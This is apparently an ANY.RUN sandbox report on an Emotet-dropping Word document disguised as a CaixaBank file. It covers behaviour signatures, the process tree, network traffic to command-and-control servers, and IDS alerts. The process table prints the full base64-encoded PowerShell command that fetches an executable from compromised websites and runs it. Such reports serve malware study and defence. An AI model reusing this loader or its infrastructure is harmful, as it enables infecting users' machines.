Malware analysis CaixaBank 1274061103904803.doc Malicious activity

Add for printing

File name:	CaixaBank 1274061103904803.doc
Full analysis:	https://app.any.run/tasks/9d3306ae-4e00-4c67-8ec5-4d31b56202c1
Verdict:	Malicious activity
Threats:	Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email. Malware Trends Tracker >>>
Analysis date:	September 19, 2019, 11:26:11
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	macros macros-on-open generated-doc loader emotet trojan evasion emotet-doc
Indicators:
MIME:	application/msword
File info:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Madonna Botsford, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Thu Sep 19 09:31:00 2019, Last Saved Time/Date: Thu Sep 19 09:31:00 2019, Number of Pages: 1, Number of Words: 95, Number of Characters: 547, Security: 0
MD5:	69A75FC8A7E0F0147666CD37CF9DCB6B
SHA1:	5E3AA83E6AA17898A39D3C4AD8F9A132C1316F7C
SHA256:	9D5B7B91926883F68DB46FC8B525E8AC6238EDB841CC04D4C9A08E9BD6C6E509
SSDEEP:	6144:uCMxYrpgAR86sJEdEG+SRBpLkI07NSU4jZntATfD73GXq3T:uCMxYrpgAR86sJEdEG+SRXX07NSU4teP

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 180 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: 120 seconds
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (75.0.3770.100)
Google Update Helper (1.3.34.7)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.7.2 (4.7.03062)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.21.27702 (14.21.27702.2)
Microsoft Visual C++ 2019 X86 Additional Runtime - 14.21.27702 (14.21.27702)
Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.21.27702 (14.21.27702)
Mozilla Firefox 68.0.1 (x86 en-US) (68.0.1)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
Update for Microsoft .NET Framework 4.7.2 (KB4087364) (1)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB4019990
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

Add for printing

MALICIOUS
- Application was dropped or rewritten from another process
  - 972.exe (PID: 3192)
  - 972.exe (PID: 3340)
  - 972.exe (PID: 2176)
  - 972.exe (PID: 3672)
  - easywindow.exe (PID: 2756)
  - easywindow.exe (PID: 3540)
  - easywindow.exe (PID: 2648)
  - easywindow.exe (PID: 3696)
- Emotet process was detected
  - 972.exe (PID: 2176)
- Downloads executable files from the Internet
  - powershell.exe (PID: 2400)
- EMOTET was detected
  - easywindow.exe (PID: 3540)
- Changes the autorun value in the registry
  - easywindow.exe (PID: 3540)
- Connects to CnC server
  - easywindow.exe (PID: 3540)
SUSPICIOUS
- PowerShell script executed
  - powershell.exe (PID: 2400)
- Creates files in the user directory
  - powershell.exe (PID: 2400)
- Executed via WMI
  - powershell.exe (PID: 2400)
- Application launched itself
  - 972.exe (PID: 3672)
  - easywindow.exe (PID: 2648)
- Executable content was dropped or overwritten
  - powershell.exe (PID: 2400)
  - 972.exe (PID: 2176)
- Starts itself from another location
  - 972.exe (PID: 2176)
- Connects to server without host name
  - easywindow.exe (PID: 3540)
INFO
- Creates files in the user directory
  - WINWORD.EXE (PID: 3400)
- Reads Microsoft Office registry keys
  - WINWORD.EXE (PID: 3400)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Add for printing

No Malware configuration.

Add for printing

TRiD

.doc	\|	Microsoft Word document (54.2)
.doc	\|	Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

CompObjUserType:	Microsoft Word 97-2003 Document
CompObjUserTypeLen:	32
HeadingPairs:	Title 1
TitleOfParts:	-
HyperlinksChanged:	No
SharedDoc:	No
LinksUpToDate:	No
ScaleCrop:	No
AppVersion:	16
CharCountWithSpaces:	641
Paragraphs:	1
Lines:	4
Company:	-
CodePage:	Windows Latin 1 (Western European)
Security:	None
Characters:	547
Words:	95
Pages:	1
ModifyDate:	2019:09:19 08:31:00
CreateDate:	2019:09:19 08:31:00
TotalEditTime:	-
Software:	Microsoft Office Word
RevisionNumber:	1
LastModifiedBy:	-
Template:	Normal.dotm
Comments:	-
Keywords:	-
Author:	Madonna Botsford
Subject:	-
Title:	-

No data.

Add for printing

All screenshots are available in the full report

Add for printing

Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID	CMD	Path	Indicators	Parent process
3400	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\CaixaBank 1274061103904803.doc"	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	—	explorer.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000
2400	powershell -encod JABzAFMATQB3ADcAQwA2AHAAPQAnAGQAdwBTAEwAQQB1AGkAdwAnADsAJABZAF8AdwBfAHMASgBfACAAPQAgACcAOQA3ADIAJwA7ACQAbwB3ADcAaQBzAG4APQAnAFAAbwB3AFIAQgBtACcAOwAkAFoAVQBFAFEARgB3AFUAVgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAWQBfAHcAXwBzAEoAXwArACcALgBlAHgAZQAnADsAJABjAEoATgBMAEgAZAA9ACcAagBLAHcAdgBRAEoAWQBCACcAOwAkAGMARQBwAHQATgAzAD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAGUAVAAuAHcAZQBiAGMATABpAGUATgBUADsAJABjADkARwBJAEsANwA9ACcAaAB0AHQAcAA6AC8ALwBlAGwAZQBjAHQAcgBvAGUAbgBjAGgAdQBmAGUALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwAxADMAYwAzAHkAcQB2AF8AZQBvADQAegBzAHUAOQAtADQAMQA2AC8AQABoAHQAdABwADoALwAvAHcAdwB3AC4AZgBvAHgAcgBwAGEAcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdgBoAHYAawBwAFgASABTAEgALwBAAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBzAHkAZABzADUAOAA4AC4AYwBuAC8AYwBnAGkALQBiAGkAbgAvAEYAdQBlAHYAcgBMAHgARwBnAGEALwBAAGgAdAB0AHAAcwA6AC8ALwB0AGgAbwBuAGcAdABpAG4AZABvAG4AZwBhAG4AaAAuAHYAbgAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBsADUAdwBtAGQAXwBqADIANQB0ADUAagBtADUALQA5AC8AQABoAHQAdABwAHMAOgAvAC8AdABlAGMAYwBlAG4AdABlAHIALgB4AHkAegAvAGMAZwBpAC0AYgBpAG4ALwBpAFMAcQB5AG8ATQBNAHoAYwB0AC8AJwAuACIAUwBgAHAATABpAHQAIgAoACcAQAAnACkAOwAkAEUAZgBRAFMATgBhAGoAPQAnAE0AdwBpAFIAawBsAGMAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEkAUABfAHoAdgB6AHoAIABpAG4AIAAkAGMAOQBHAEkASwA3ACkAewB0AHIAeQB7ACQAYwBFAHAAdABOADMALgAiAEQATwB3AG4ATABgAE8AQQBgAGQAZgBJAEwARQAiACgAJABJAFAAXwB6AHYAegB6ACwAIAAkAFoAVQBFAFEARgB3AFUAVgApADsAJABuAFIARgBUAFYAUQB3AD0AJwBoAEEASQBRAHYATwBjAGoAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAJwArACcAdABlAG0AJwApACAAJABaAFUARQBRAEYAdwBVAFYAKQAuACIAbABlAGAATgBHAHQAaAAiACAALQBnAGUAIAAzADgANAA2ADkAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwBgAFQAYQByAHQAIgAoACQAWgBVAEUAUQBGAHcAVQBWACkAOwAkAHcAdwBwAHQANQBOAD0AJwB1AE8ASwB3AEoAdwAnADsAYgByAGUAYQBrADsAJABZAHoASwBfAGYAcQBsADQAPQAnAHoARABQAHoARABxAGIAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAdwBuAFcAWgBIAFoAbABvAD0AJwBLADAAaQBpAGQAMAB1ACcA	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe		wmiprvse.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255)
3672	"C:\Users\admin\972.exe"	C:\Users\admin\972.exe	—	powershell.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Display Control Panel Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850)
3192	"C:\Users\admin\972.exe"	C:\Users\admin\972.exe	—	972.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Display Control Panel Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850)
3340	--53fbb8f2	C:\Users\admin\972.exe	—	972.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Display Control Panel Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850)
2176	--53fbb8f2	C:\Users\admin\972.exe		972.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Display Control Panel Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850)
3696	"C:\Users\admin\AppData\Local\easywindow\easywindow.exe"	C:\Users\admin\AppData\Local\easywindow\easywindow.exe	—	972.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Display Control Panel Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850)
2648	"C:\Users\admin\AppData\Local\easywindow\easywindow.exe"	C:\Users\admin\AppData\Local\easywindow\easywindow.exe	—	easywindow.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Display Control Panel Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850)
2756	--fd47f3b8	C:\Users\admin\AppData\Local\easywindow\easywindow.exe	—	easywindow.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Display Control Panel Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850)
3540	--fd47f3b8	C:\Users\admin\AppData\Local\easywindow\easywindow.exe		easywindow.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Display Control Panel Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850)

Add for printing

Total events

1 748

Read events

1 264

Write events

Delete events

Modification events

No data

Add for printing

Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
3400	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\CVR9C54.tmp.cvr		—
		MD5:—	SHA256:—
3400	WINWORD.EXE	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B2B79F14.wmf		wmf
		MD5:A647097CEA8D4F1B6D4265867C08713C	SHA256:63908A89FDF4271E743305123AAB48BD5CDCC09C585CA886EE4AC4A26E38AA1D
3400	WINWORD.EXE	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\25A2148.wmf		wmf
		MD5:81A7FBC95CF330BD53780F88AE29B757	SHA256:26B0CA47707D7A4EB0DD322F0BE4ECC25972B7D678EC079DF68F43041C1DF955
3400	WINWORD.EXE	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5AEC03A3.wmf		wmf
		MD5:FDA0DF2A9EA9BA9097E3E47EE4026781	SHA256:BDF10DC4E69D3C841E4EF3E1D722C4F54D67424200F471B47FC0DE4E61842511
3400	WINWORD.EXE	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\2A6CDB67.wmf		wmf
		MD5:C5A8F20A238580C0E61CE5E8A92ECB5C	SHA256:A306272F9ACF16D0F6E7C3F4586D970473F0964D4184ADB2A806881BB67ED6A1
3400	WINWORD.EXE	C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm		pgc
		MD5:A5E9CA112F715FE70995BDF95658DC39	SHA256:429A2EFE5C24E2BDFD17C1106454AD4BE67609D436753285401168A3814704F0
3400	WINWORD.EXE	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6057410D.wmf		wmf
		MD5:3D2EC77925A5A538FBF939E3290D7C84	SHA256:CBC406FB605ED023F17491E7179011177EA260620BAF13EBF785F9D1338AC357
3400	WINWORD.EXE	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A2AE39F0.wmf		wmf
		MD5:3B0FEB70697D8C73EBEAB994CCD6E639	SHA256:5A32EC1C26955BAD2651FE168330A055C70D47D3AEEE115170B0C3EDB40A5F03
3400	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exd		tlb
		MD5:DE7C8113A9A073264AD387F8FC9B3B92	SHA256:36EC539F5D9FFF428CC9176A955426A7C42C804708873A1A927081E1C277F9DC
3400	WINWORD.EXE	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B09BF19F.wmf		wmf
		MD5:C46E7B0D93CD80BACD078AADED51C57D	SHA256:9CBE1A5CABB426289876985E8F72D1735B02803412BD9BE7E61D12AEA6A86E39

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Add for printing

HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
2400	powershell.exe	GET	200	181.65.214.222:80	http://electroenchufe.com/wp-content/13c3yqv_eo4zsu9-416/	PE	executable	384 Kb	suspicious
3540	easywindow.exe	GET	200	69.43.168.232:443	http://69.43.168.232:443/whoami.php	US	text	12 b	malicious
3540	easywindow.exe	GET	200	69.43.168.232:443	http://69.43.168.232:443/whoami.php	US	text	12 b	malicious
3540	easywindow.exe	POST	200	187.147.50.167:8080	http://187.147.50.167:8080/prep/cookies/ringin/merge/	MX	binary	1.38 Mb	malicious
3540	easywindow.exe	POST	200	69.43.168.232:443	http://69.43.168.232:443/arizona/codec/	US	binary	173 Kb	malicious
3540	easywindow.exe	POST	—	190.18.146.70:80	http://190.18.146.70/symbols/xian/	AR	—	—	malicious
3540	easywindow.exe	POST	200	69.43.168.232:443	http://69.43.168.232:443/results/codec/	US	binary	132 b	malicious
3540	easywindow.exe	POST	200	187.147.50.167:8080	http://187.147.50.167:8080/between/health/ringin/	MX	binary	148 b	malicious
3540	easywindow.exe	POST	—	69.43.168.232:443	http://69.43.168.232:443/report/symbols/nsip/merge/	US	—	—	malicious

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
3540	easywindow.exe	173.203.187.10:993	pop.emailsrvr.com	Rackspace Ltd.	US	malicious
3540	easywindow.exe	193.70.18.144:25	ssl0.ovh.net	OVH SAS	FR	malicious
3540	easywindow.exe	187.147.50.167:8080	—	Uninet S.A. de C.V.	MX	malicious
2400	powershell.exe	181.65.214.222:80	electroenchufe.com	Telefonica del Peru S.A.A.	PE	suspicious
3540	easywindow.exe	69.43.168.232:443	—	Castle Access Inc	US	malicious
3540	easywindow.exe	167.206.5.250:995	mail.optonline.net	Cablevision Systems Corp.	US	unknown
3540	easywindow.exe	190.18.146.70:80	—	CABLEVISION S.A.	AR	malicious
3540	easywindow.exe	173.203.187.10:110	pop.emailsrvr.com	Rackspace Ltd.	US	malicious
3540	easywindow.exe	212.227.15.179:143	auth.smtp.1and1.co.uk	1&1 Internet SE	DE	unknown
3540	easywindow.exe	172.217.22.51:993	mail.alamedasc.com	Google Inc.	US	whitelisted

DNS requests

Domain	IP	Reputation
electroenchufe.com	181.65.214.222	suspicious
ssl0.ovh.net	193.70.18.144	malicious
imap.gmail.com	64.233.166.108 64.233.166.109	shared
mail.alamedasc.com	172.217.22.51	malicious
mi.iec.s	—	unknown
mi.hu-bu.o	—	unknown
pop.emailsrvr.com	173.203.187.10	shared
secure.emailsrvr.com	173.203.187.10	shared
mail.gbsalarm.com	66.96.134.28	unknown
pop.buzondecorreo.com	82.223.190.140	unknown

Threats

PID	Process	Class	Message
2400	powershell.exe	Potential Corporate Privacy Violation	ET POLICY PE EXE or DLL Windows file download HTTP
2400	powershell.exe	Potentially Bad Traffic	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
2400	powershell.exe	Misc activity	ET INFO EXE - Served Attached HTTP
3540	easywindow.exe	A Network Trojan was detected	AV TROJAN W32/Emotet CnC Checkin (Apr 2019)
3540	easywindow.exe	A Network Trojan was detected	MALWARE [PTsecurity] Feodo/Emotet
3540	easywindow.exe	A Network Trojan was detected	MALWARE [PTsecurity] Feodo/Emotet
3540	easywindow.exe	A Network Trojan was detected	MALWARE [PTsecurity] Feodo/Emotet
3540	easywindow.exe	A Network Trojan was detected	MALWARE [PTsecurity] Feodo/Emotet
3540	easywindow.exe	Potentially Bad Traffic	ET POLICY HTTP traffic on port 443 (POST)
3540	easywindow.exe	A Network Trojan was detected	MALWARE [PTsecurity] Feodo/Emotet

9 ETPRO signatures available at the full report

Add for printing

No debug info

General Info

CaixaBank 1274061103904803.doc

69A75FC8A7E0F0147666CD37CF9DCB6B

5E3AA83E6AA17898A39D3C4AD8F9A132C1316F7C

9D5B7B91926883F68DB46FC8B525E8AC6238EDB841CC04D4C9A08E9BD6C6E509

6144:uCMxYrpgAR86sJEdEG+SRBpLkI07NSU4jZntATfD73GXq3T:uCMxYrpgAR86sJEdEG+SRXX07NSU4teP

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Application was dropped or rewritten from another process

Emotet process was detected

Downloads executable files from the Internet

EMOTET was detected

Changes the autorun value in the registry

Connects to CnC server

SUSPICIOUS

PowerShell script executed

Creates files in the user directory

Executed via WMI

Application launched itself

Executable content was dropped or overwritten

Starts itself from another location

Connects to server without host name

INFO

Creates files in the user directory

Reads Microsoft Office registry keys

Malware configuration

Static information

TRiD

EXIF

FlashPix

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings